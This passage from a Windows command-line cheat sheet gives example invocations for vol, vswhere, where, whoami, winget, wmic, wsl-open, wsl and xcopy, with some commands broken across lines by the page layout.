windows-commands/vol.

• Display the label and serial number for the current drive:

vol

• Display the label and serial number for a specific volume:

vol {{D:}}
vswhere
Locate Visual Studio 2017 and newer installations.

More information: https://github.com/microsoft/vswhere.

• Find the path of vcvarsall.bat to set environment variables:

vswhere -products * -latest -prerelease -find **/VC/


Auxiliary/Build/vcvarsall.bat

• Find the directory of the x64 MSVC compiler (cl.exe, etc):

vswhere -products * -latest -prerelease -find **/Hostx64/x64/


*

• Find the directory of Clang bundled with Visual Studio bundled (clang-cl, clang-
tidy, etc):

vswhere -products * -latest -prerelease -find **/Llvm/bin/*

• Find the path of MSBuild.exe:

vswhere -products * -latest -prerelease -find MSBuild/**/Bin/


MSBuild.exe
where
Display the location of files that match the search pattern.

Defaults to current work directory and paths in the PATH environment variable.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/where.

• Display the location of file pattern:

where {{file_pattern}}

• Display the location of file pattern including file size and date:

where /T {{file_pattern}}

• Recursively search for file pattern at specified path:

where /R {{path/to/directory}} {{file_pattern}}

• Display only the error code for the location of file pattern:

where /Q {{file_pattern}}
whoami
Display details about the current user.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/whoami.

• Display the username of the current user:

whoami

• Display the groups that the current user is a member of:

whoami /groups

• Display the privileges of the current user:

whoami /priv

• Display the user principal name (UPN) of the current user:

whoami /upn

• Display the logon ID of the current user:

whoami /logonid
winget
Windows Package Manager CLI.

More information: https://docs.microsoft.com/windows/package-manager/winget.

• Install a package:

winget install {{package}}

• Display information about a package:

winget show {{package}}

• Search for a package:

winget search {{package}}


wmic
Interactive shell for detailed information about running processes.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/wmic.

• Fundamental grammar:

wmic {{alias}} {{where_clause}} {{verb_clause}}

• Show brief details about the currently running processes:

wmic process list brief

• Show full details about the currently running processes:

wmic process list full

• Access specific fields such as process name, process ID and parent process ID:

wmic process get {{name,processid,parentprocessid}}

• Display information about a specific process:

wmic process where {{name="example.exe"}} list full

• Display specific fields for a specific process:

wmic process where processid={{pid}} get {{name,commandline}}

• Kill a process:

wmic process {{pid}} delete


wsl-open
Open a file or URL from within Windows Subsystem for Linux in the user's default
Windows GUI application.

More information: https://gitlab.com/4U6U57/wsl-open.

• Open the current directory in Windows Explorer:

wsl-open {{.}}

• Open a URL in the user's default web browser in Windows:

wsl-open {{https://example.com}}

• Open a specific file in the user's default application in Windows:

wsl-open {{path/to/file}}

• Set wsl-open as the shell's web browser (open links with wsl-open):

wsl-open -w

• Display help:

wsl-open -h
wsl
Manage the Windows Subsystem for Linux from the command-line.

More information: https://docs.microsoft.com/windows/wsl/reference.

• Start a Linux shell (in the default distribution):

wsl {{shell_command}}

• Run a Linux command without using a shell:

wsl --exec {{command}} {{command_arguments}}

• Specify a particular distribution:

wsl --distribution {{distribution}} {{shell_command}}

• List available distributions:

wsl --list

• Export a distribution to a .tar file:

wsl --export {{distribution}} {{path/to/distro_fs.tar}}

• Import a distribution from a .tar file:

wsl --import {{distribution}} {{path/to/install_location}}


{{path/to/distro_fs.tar}}

• Change the version of wsl used for the specified distribution:

wsl --set-version {{distribution}} {{version}}

• Shut down Windows Subsystem for Linux:

wsl --shutdown
xcopy
Copy files and directory trees.

More information: https://docs.microsoft.com/windows-server/administration/


windows-commands/xcopy.

• Copy the file(s) to the specified destination:

xcopy {{path/to/file_or_directory}} {{path/to/destination}}

• List files that will be copied before copying:

xcopy {{path/to/file_or_directory}} {{path/to/destination}} /


p

• Copy the directory structure only, excluding files:

xcopy {{path/to/file_or_directory}} {{path/to/destination}} /


t

• Include empty directories when copying:

xcopy {{path/to/file_or_directory}} {{path/to/destination}} /


e

• Keep the source ACL in the destination:

xcopy {{path/to/file_or_directory}} {{path/to/destination}} /


o

• Allow resuming when network connection is lost:

xcopy {{path/to/file_or_directory}} {{path/to/destination}} /


z

• Disable the prompt when the file exists in the destination:

xcopy {{path/to/file_or_directory}} {{path/to/destination}} /


y

• Display detailed usage information:

xcopy /?

You might also like